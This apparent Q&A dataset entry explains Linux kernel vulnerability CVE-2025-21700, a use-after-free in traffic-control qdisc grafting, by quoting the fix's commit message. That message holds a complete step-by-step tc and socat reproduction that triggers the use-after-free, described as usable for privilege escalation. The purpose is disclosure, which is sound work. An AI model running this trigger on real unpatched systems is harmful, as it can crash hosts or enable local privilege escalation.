Question: What is CVE-2025-21700?
Answer: CVE-2025-21700 is a vulnerability classified as high with a CVSS score of 7.8. It falls under CWE-416 and affects the system as follows: In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script

Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr

step3. a class for nesting
tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 limit 1000p
 qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 1:3 root leaf 4: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
 qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent.  b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.

Step 12.  send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13.  send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

Joint work with Lion Ackermann <nnamrec@gmail.com>